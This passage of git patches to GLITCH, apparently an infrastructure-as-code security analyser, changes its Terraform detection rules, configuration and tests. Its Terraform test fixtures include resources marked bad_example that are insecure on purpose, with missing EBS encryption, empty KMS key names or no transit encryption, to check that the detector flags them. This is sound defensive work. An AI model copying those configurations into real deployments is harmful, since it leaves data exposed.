errors.append(Error('sec_public_ip', c, file, repr(c))) break @@ -918,14 +914,14 @@ def get_module_var(c, name: str): for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and value.lower() not in config['values'] + and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_access_control', c, file, repr(c))) break for config in SecurityVisitor.__AUTHENTICATION: if (name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and value.lower() not in config['values'] + and parent_name in config['parents'] and not has_variable and value.lower() not in config['values'] and config['values'] != [""]): errors.append(Error('sec_authentication', c, file, repr(c))) break @@ -936,7 +932,8 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_missing_encryption', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable + and value.lower() not in config['values']): errors.append(Error('sec_missing_encryption', c, file, repr(c))) break @@ -957,7 +954,8 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable and + value.lower() not in config['values']): errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) break @@ -967,7 +965,8 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable and + value.lower() not in config['values']): errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) break @@ -978,7 +977,8 @@ def get_module_var(c, name: str): if ("any_not_empty" in policy['values'] and value.lower() == ""): errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) break - elif ("any_not_empty" not in policy['values'] and value.lower() not in policy['values']): + elif ("any_not_empty" not in policy['values'] and not has_variable and + value.lower() not in policy['values']): errors.append(Error('sec_weak_password_key_policy', c, file, repr(c))) break elif ((policy['logic'] == "gte" and not value.isnumeric()) or @@ -996,7 +996,8 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_key_management', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable and + value.lower() not in config['values']): errors.append(Error('sec_key_management', c, file, repr(c))) break @@ -1014,23 +1015,22 @@ def get_module_var(c, name: str): errors.append(Error('sec_key_management', c, file, repr(c))) for rule in SecurityVisitor.__NETWORK_SECURITY_RULES: - if (name == rule['attribute'] and au_type in rule['au_type'] - and parent_name in rule['parents'] and value.lower() not in rule['values'] - and rule['values'] != [""]): + if (name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] + and not has_variable and value.lower() not in rule['values'] and rule['values'] != [""]): errors.append(Error('sec_network_security_rules', c, file, repr(c))) break if ((name == "member" or name.split('[')[0] == "members") and au_type in SecurityVisitor.__GOOGLE_IAM_MEMBER and (re.search(r".-compute@developer.gserviceaccount.com", value) or - re.search(r".@appspot.gserviceaccount.com", value) or - re.search(r"user:", value))): + re.search(r".@appspot.gserviceaccount.com", value) or + re.search(r"user:", value))): errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) for config in SecurityVisitor.__PERMISSION_IAM_POLICIES: if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and value.lower() not in config['values']) + if ((config['logic'] == "equal" and not has_variable and value.lower() not in config['values']) or (config['logic'] == "diff" and value.lower() in config['values'])): errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) break @@ -1062,14 +1062,15 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_logging', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable and + value.lower() not in config['values']): errors.append(Error('sec_logging', c, file, repr(c))) break for config in SecurityVisitor.__VERSIONING: if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] - and value.lower() not in config['values']): + and not has_variable and value.lower() not in config['values']): errors.append(Error('sec_versioning', c, file, repr(c))) break @@ -1084,14 +1085,15 @@ def get_module_var(c, name: str): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_naming', c, file, repr(c))) break - elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + elif ("any_not_empty" not in config['values'] and not has_variable and + value.lower() not in config['values']): errors.append(Error('sec_naming', c, file, repr(c))) break for config in SecurityVisitor.__REPLICATION: if (name == config['attribute'] and au_type in config['au_type'] and parent_name in config['parents'] and config['values'] != [""] - and value.lower() not in config['values']): + and not has_variable and value.lower() not in config['values']): errors.append(Error('sec_replication', c, file, repr(c))) break diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index e1aa7b59..2d2f2716 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -80,8 +80,7 @@ ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribu "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes", "msg": "domain_endpoint_options.tls_security_policy"}, {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "ssl_policy", "parents": [""], - "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "yes", - "msg": "ssl_policy"}, + "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "no"}, {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], "parents": ["site_config"], "attribute": "min_tls_version", "values": ["1.2"], "required": "no"}, {"au_type": ["resource.google_compute_ssl_policy"], "attribute": "min_tls_version", "parents": [""], @@ -130,7 +129,8 @@ insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute" "values": ["true"], "required": "yes", "msg": "restrict_public_buckets"}, {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "ignore_public_acls", "parents": [""], "values": ["true"], "required": "yes", "msg": "ignore_public_acls"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], "values": ["private"], "required": "no"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], + "values": ["private", "aws-exec-read", "log-delivery-write"], "required": "no"}, {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "authorized_ip_ranges[0]", "parents": ["api_server_access_profile"], "values": [""], "required": "yes", "msg": "api_server_access_profile.authorized_ip_ranges"}, diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 804e29b9..37a2dc6a 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1455,6 +1455,10 @@ def __get_element_code(start_line, end_line, code): def parse_keyvalues(self, unit_block: UnitBlock, keyvalues, code, type: str): def create_keyvalue(start_line, end_line, name: str, value: str): has_variable = ("${" in f"{value}") and ("}" in f"{value}") if value != None else False + pattern = r'^[+-]?\d+(\.\d+)?$' + if (has_variable and re.match(pattern, re.sub(r'^\${(.*)}$', r'\1', value))): + value = re.sub(r'^\${(.*)}$', r'\1', value) + has_variable = False if value == "null": value = "" if type == "attribute": From f97f0fdc1aaeaea03a6c1bbbd63b0c24df0cdb22 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 27 Apr 2023 15:24:05 +0100 Subject: [PATCH 40/58] Correction to two rules of Missing Encryption code smell --- glitch/analysis/security.py | 17 +++++++++++++++++ glitch/configs/default.ini | 11 +++++------ ...cs-task-definitions-in-transit-encryption.tf | 11 ++++++++++- .../encrypted-root-block-device.tf | 15 +++++++++++++++ .../tests/security/terraform/test_security.py | 3 ++- 5 files changed, 49 insertions(+), 8 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index f84657c9..66534b30 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -306,6 +306,23 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f else: errors.append(Error('sec_missing_encryption', au, file, repr(au), f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) + elif (au.type in ["resource.aws_instance", "resource.aws_launch_configuration"]): + ebs_block_device = check_required_attribute(au.attributes, [""], "ebs_block_device") + if ebs_block_device: + encrypted = check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") + if not encrypted: + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) + elif (au.type == "resource.aws_ecs_task_definition"): + volume = check_required_attribute(au.attributes, [""], "volume") + if volume: + efs_volume_config = check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") + if efs_volume_config: + transit_encryption = check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") + if not transit_encryption: + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name" + + f"'volume.efs_volume_configuration.transit_encryption'.")) for config in SecurityVisitor.__MISSING_ENCRYPTION: if (config['required'] == "yes" and au.type in config['au_type'] diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 2d2f2716..8236c694 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -198,13 +198,12 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "values": ["true"], "required": "yes", "msg": "encrypted"}, {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", "parents": ["root_block_device"], "values": ["true"], "required": "yes", "msg": "root_block_device.encrypted"}, - {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration", "resource.aws_ami"], "attribute": "encrypted", - "parents": ["ebs_block_device"], "values": ["true"], "required": "yes", "msg": "ebs_block_device.encrypted"}, - {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "efs_volume_configuration", "parents": ["volume"], - "values": [""], "required": "yes", "msg": "volume.efs_volume_configuration.transit_encryption"}, + {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", + "parents": ["ebs_block_device"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_ami"], "attribute": "encrypted", + "parents": ["ebs_block_device", "root_block_device"], "values": ["true"], "required": "no"}, {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "transit_encryption", - "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "yes", - "msg": "volume.efs_volume_configuration.transit_encryption"}, + "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "no"}, {"au_type": ["resource.aws_eks_cluster"], "attribute": "provider", "parents": ["encryption_config"], "values": [""], "required": "yes", "msg": "encryption_config.provider.key_arn"}, {"au_type": ["resource.aws_eks_cluster"], "attribute": "key_arn", "parents": ["provider"], "values": ["any_not_empty"], diff --git a/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf index ed368b91..a41444e2 100644 --- a/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf +++ b/glitch/tests/security/terraform/files/missing-encryption/ecs-task-definitions-in-transit-encryption.tf @@ -16,7 +16,7 @@ resource "aws_ecs_task_definition" "bad_example" { } } -resource "aws_ecs_task_definition" "good_example" { +resource "aws_ecs_task_definition" "bad_example2" { family = "service" container_definitions = file("task-definitions/service.json") @@ -53,3 +53,12 @@ resource "aws_ecs_task_definition" "good_example" { } } } + +resource "aws_ecs_task_definition" "good_example2" { + family = "service" + container_definitions = file("task-definitions/service.json") + + volume { + name = "service-storage" + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf b/glitch/tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf index f7bc93db..d0c6fb62 100644 --- a/glitch/tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf +++ b/glitch/tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf @@ -24,6 +24,15 @@ resource "aws_instance" "bad_example3" { } } +resource "aws_instance" "bad_example4" { + ebs_block_device { + } + + root_block_device { + encrypted = true + } +} + resource "aws_launch_configuration" "good_example" { ebs_block_device { encrypted = true @@ -33,3 +42,9 @@ resource "aws_launch_configuration" "good_example" { encrypted = true } } + +resource "aws_instance" "good_example2" { + root_block_device { + encrypted = true + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 320aaf83..2d0f888c 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -346,7 +346,8 @@ def test_terraform_missing_encryption(self): ) self.__help_test( "tests/security/terraform/files/missing-encryption/encrypted-root-block-device.tf", - 3, ["sec_missing_encryption", "sec_missing_encryption", "sec_missing_encryption"], [1, 13, 23] + 4, ["sec_missing_encryption", "sec_missing_encryption", "sec_missing_encryption", "sec_missing_encryption"], + [1, 13, 23, 27] ) self.__help_test( "tests/security/terraform/files/missing-encryption/instance-encrypted-block-device.tf", From 51a5df25f5a3abf5faa88800f0379822dd976033 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 4 May 2023 20:56:46 +0100 Subject: [PATCH 41/58] Added missing rule to Terraform: Key Management code smell --- glitch/configs/default.ini | 8 ++++++-- .../google-storage-enable-ubla.tf | 9 +++++++++ ...le-storage-bucket-encryption-customer-key.tf | 17 +++++++++++++++++ .../tests/security/terraform/test_security.py | 6 +++++- 4 files changed, 37 insertions(+), 3 deletions(-) create mode 100644 glitch/tests/security/terraform/files/key-management/google-storage-bucket-encryption-customer-key.tf diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 8236c694..75090a4b 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -44,7 +44,7 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", - "enable_key_rotation", "storage_account_access_key_is_secondary", "key_pair"] + "enable_key_rotation", "storage_account_access_key_is_secondary", "key_pair", "default_kms_key_name"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -334,7 +334,11 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, {"au_type": ["resource.digitalocean_droplet"], "attribute": "ssh_keys[0]", "parents": [""], - "values": [""], "required": "yes", "msg": "ssh_keys"}] + "values": [""], "required": "yes", "msg": "ssh_keys"}, + {"au_type": ["resource.google_storage_bucket"], "attribute": "default_kms_key_name", "parents": ["encryption"], + "values": ["any_not_empty"], "required": "yes", "msg": "encryption.default_kms_key_name"}] + + network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, diff --git a/glitch/tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf b/glitch/tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf index 1395405a..dd09747e 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf @@ -1,10 +1,19 @@ resource "google_storage_bucket" "bad_example" { + encryption { + default_kms_key_name = "something" + } } resource "google_storage_bucket" "bad_example2" { uniform_bucket_level_access = false + encryption { + default_kms_key_name = "something" + } } resource "google_storage_bucket" "good_example" { uniform_bucket_level_access = true + encryption { + default_kms_key_name = "something" + } } diff --git a/glitch/tests/security/terraform/files/key-management/google-storage-bucket-encryption-customer-key.tf b/glitch/tests/security/terraform/files/key-management/google-storage-bucket-encryption-customer-key.tf new file mode 100644 index 00000000..19bffa81 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/google-storage-bucket-encryption-customer-key.tf @@ -0,0 +1,17 @@ +resource "google_storage_bucket" "bad_example" { + uniform_bucket_level_access = true +} + +resource "google_storage_bucket" "bad_example2" { + uniform_bucket_level_access = true + encryption { + default_kms_key_name = "" + } +} + +resource "google_storage_bucket" "good_example" { + uniform_bucket_level_access = true + encryption { + default_kms_key_name = "something" + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 2d0f888c..05196b55 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -123,7 +123,7 @@ def test_terraform_insecure_access_control(self): ) self.__help_test( "tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf", - 2, ["sec_access_control", "sec_access_control"], [1, 5] + 2, ["sec_access_control", "sec_access_control"], [1, 8] ) self.__help_test( "tests/security/terraform/files/insecure-access-control/google-storage-no-public-access.tf", @@ -740,6 +740,10 @@ def test_terraform_key_management(self): "tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf", 1, ["sec_key_management"], [1] ) + self.__help_test( + "tests/security/terraform/files/key-management/google-storage-bucket-encryption-customer-key.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 8] + ) def test_terraform_network_security_rules(self): self.__help_test( From 3cce27523623e6520477dfdaceffdd67d1cdc33f Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 5 May 2023 16:02:20 +0100 Subject: [PATCH 42/58] Fixed weak-password-key-policy rule --- glitch/configs/default.ini | 6 +++--- .../azure-keyvault-ensure-key-expiration-date.tf | 0 glitch/tests/security/terraform/test_security.py | 8 ++++---- 3 files changed, 7 insertions(+), 7 deletions(-) rename glitch/tests/security/terraform/files/{key-management => weak-password-key-policy}/azure-keyvault-ensure-key-expiration-date.tf (100%) diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 75090a4b..a6d1ffa7 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -298,7 +298,9 @@ password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], {"au_type": ["resource.azurerm_key_vault_secret"], "attribute": "expiration_date", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}, {"au_type": ["resource.azurerm_key_vault"], "attribute": "purge_protection_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}] + "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}, + {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}] key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aws_docdb_cluster", "resource.aws_ebs_volume", "resource.aws_secretsmanager_secret", "resource.aws_kinesis_stream", "resource.aws_cloudtrail", "resource.aws_rds_cluster", @@ -323,8 +325,6 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw "values": ["any_not_empty"], "required": "yes", "msg": "boot_disk.kms_key_self_link"}, {"au_type": ["resource.google_compute_instance"], "attribute": "block-project-ssh-keys", "parents": ["metadata"], "values": ["true"], "required": "yes", "msg": "metadata.block-project-ssh-keys"}, - {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date"}, {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, diff --git a/glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf b/glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-key-expiration-date.tf similarity index 100% rename from glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf rename to glitch/tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-key-expiration-date.tf diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 05196b55..38bfb396 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -622,6 +622,10 @@ def test_terraform_weak_password_key_policy(self): "tests/security/terraform/files/weak-password-key-policy/azure-keyvault-no-purge.tf", 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 11] ) + self.__help_test( + "tests/security/terraform/files/weak-password-key-policy/azure-keyvault-ensure-key-expiration-date.tf", + 2, ["sec_weak_password_key_policy", "sec_weak_password_key_policy"], [1, 5] + ) def test_terraform_integrity_policy(self): self.__help_test( @@ -692,10 +696,6 @@ def test_terraform_key_management(self): "tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf", 2, ["sec_key_management", "sec_key_management"], [1, 7] ) - self.__help_test( - "tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf", - 2, ["sec_key_management", "sec_key_management"], [1, 5] - ) self.__help_test( "tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf", 1, ["sec_key_management"], [1] From 7e8d210873f9790a2af78ec38d07cc12ff7ed692 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 31 May 2023 12:26:26 +0100 Subject: [PATCH 43/58] Refactor in Terraform smell analysis to use smell checkers. --- glitch/analysis/rules.py | 2 +- glitch/analysis/security.py | 1963 +++++++++-------- .../tests/security/terraform/test_security.py | 3 - 3 files changed, 1082 insertions(+), 886 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index ddaceede..70e61831 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -209,5 +209,5 @@ def check_comment(self, c: Comment, file: str) -> list[Error]: class SmellChecker(ABC): @abstractmethod - def check(self, element, file: str) -> list[Error]: + def check(self, element, file: str, code = None, elem_name: str = "", elem_value: str = "", au_type = None, parent_name = "") -> list[Error]: pass diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 66534b30..c8c4a135 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -3,7 +3,7 @@ import json import configparser from urllib.parse import urlparse -from glitch.analysis.rules import Error, RuleVisitor +from glitch.analysis.rules import Error, RuleVisitor, SmellChecker from glitch.tech import Tech from glitch.repr.inter import * @@ -12,87 +12,16 @@ class SecurityVisitor(RuleVisitor): __URL_REGEX = r"^(http:\/\/www\.|https:\/\/www\.|http:\/\/|https:\/\/)?[a-z0-9]+([_\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/.*)?$" - @staticmethod - def get_name() -> str: - return "security" - - def config(self, config_path: str): - config = configparser.ConfigParser() - config.read(config_path) - SecurityVisitor.__WRONG_WORDS = json.loads(config['security']['suspicious_words']) - SecurityVisitor.__PASSWORDS = json.loads(config['security']['passwords']) - SecurityVisitor.__USERS = json.loads(config['security']['users']) - SecurityVisitor.__SECRETS = json.loads(config['security']['secrets']) - SecurityVisitor.__MISC_SECRETS = json.loads(config['security']['misc_secrets']) - SecurityVisitor.__ROLES = json.loads(config['security']['roles']) - SecurityVisitor.__DOWNLOAD = json.loads(config['security']['download_extensions']) - SecurityVisitor.__SSH_DIR = json.loads(config['security']['ssh_dirs']) - SecurityVisitor.__ADMIN = json.loads(config['security']['admin']) - SecurityVisitor.__CHECKSUM = json.loads(config['security']['checksum']) - SecurityVisitor.__CRYPT = json.loads(config['security']['weak_crypt']) - SecurityVisitor.__CRYPT_WHITELIST = json.loads(config['security']['weak_crypt_whitelist']) - SecurityVisitor.__URL_WHITELIST = json.loads(config['security']['url_http_white_list']) - SecurityVisitor.__SENSITIVE_DATA = json.loads(config['security']['sensitive_data']) - SecurityVisitor.__KEY_ASSIGN = json.loads(config['security']['key_value_assign']) - SecurityVisitor.__GITHUB_ACTIONS = json.loads(config['security']['github_actions_resources']) - SecurityVisitor.__INTEGRITY_POLICY = json.loads(config['security']['integrity_policy']) - SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) - SecurityVisitor.__HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) - SecurityVisitor.__SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) - SecurityVisitor.__DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) - SecurityVisitor.__PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) - SecurityVisitor.__POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) - SecurityVisitor.__ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) - SecurityVisitor.__AUTHENTICATION = json.loads(config['security']['authentication']) - SecurityVisitor.__POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) - SecurityVisitor.__POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) - SecurityVisitor.__MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) - SecurityVisitor.__CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) - SecurityVisitor.__ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) - SecurityVisitor.__FIREWALL_CONFIGS = json.loads(config['security']['firewall']) - SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) - SecurityVisitor.__PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) - SecurityVisitor.__KEY_MANAGEMENT = json.loads(config['security']['key_management']) - SecurityVisitor.__NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) - SecurityVisitor.__PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) - SecurityVisitor.__GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) - SecurityVisitor.__LOGGING = json.loads(config['security']['logging']) - SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) - SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) - SecurityVisitor.__VERSIONING = json.loads(config['security']['versioning']) - SecurityVisitor.__NAMING = json.loads(config['security']['naming']) - SecurityVisitor.__REPLICATION = json.loads(config['security']['replication']) - - def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: - errors = super().check_atomicunit(au, file) - # Check integrity check - for a in au.attributes: - if isinstance(a.value, str): value = a.value.strip().lower() - else: value = repr(a.value).strip().lower() - - for item in SecurityVisitor.__DOWNLOAD: - if re.search(r'(http|https|www)[^ ,]*\.{text}'.format(text = item), value): - integrity_check = False - for other in au.attributes: - name = other.name.strip().lower() - if any([check in name for check in SecurityVisitor.__CHECKSUM]): - integrity_check = True - break - - if not integrity_check: - errors.append(Error('sec_no_int_check', au, file, repr(a))) - - break - - def get_au(c, name: str, type: str): + class TerraformSmellChecker(SmellChecker): + def get_au(self, c, file: str, name: str, type: str): if isinstance(c, Project): module_name = os.path.basename(os.path.dirname(file)) - for m in self.code.modules: + for m in c.modules: if m.name == module_name: - return get_au(m, name, type) + return self.get_au(m, file, name, type) elif isinstance(c, Module): for ub in c.blocks: - au = get_au(ub, name, type) + au = self.get_au(ub, file, name, type) if au: return au else: @@ -101,25 +30,25 @@ def get_au(c, name: str, type: str): return au return None - def get_associated_au(c, type: str, attribute_name: str , pattern, attribute_parents: list): - if isinstance(c, Project): + def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): + if isinstance(code, Project): module_name = os.path.basename(os.path.dirname(file)) - for m in self.code.modules: + for m in code.modules: if m.name == module_name: - return get_associated_au(m, type, attribute_name, pattern, attribute_parents) - elif isinstance(c, Module): - for ub in c.blocks: - au = get_associated_au(ub, type, attribute_name, pattern, attribute_parents) + return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) + elif isinstance(code, Module): + for ub in code.blocks: + au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) if au: return au else: - for au in c.atomic_units: - if (au.type == type and check_required_attribute( + for au in code.atomic_units: + if (au.type == type and self.check_required_attribute( au.attributes, attribute_parents, attribute_name, None, pattern)): return au return None - - def get_attributes_with_name_and_value(attributes, parents, name, value = None, pattern = None): + + def get_attributes_with_name_and_value(self, attributes, parents, name, value = None, pattern = None): aux = [] for a in attributes: if a.name.split('dynamic.')[-1] == name and parents == [""]: @@ -130,27 +59,29 @@ def get_attributes_with_name_and_value(attributes, parents, name, value = None, elif (not value and not pattern): aux.append(a) elif a.name.split('dynamic.')[-1] in parents: - aux += get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) + aux += self.get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) elif a.keyvalues != []: - aux += get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) + aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) return aux - def check_required_attribute(attributes, parents, name, value = None, pattern = None): - attributes = get_attributes_with_name_and_value(attributes, parents, name, value, pattern) + def check_required_attribute(self, attributes, parents, name, value = None, pattern = None): + attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) if attributes != []: return attributes[0] else: return None - - def check_database_flags(smell: 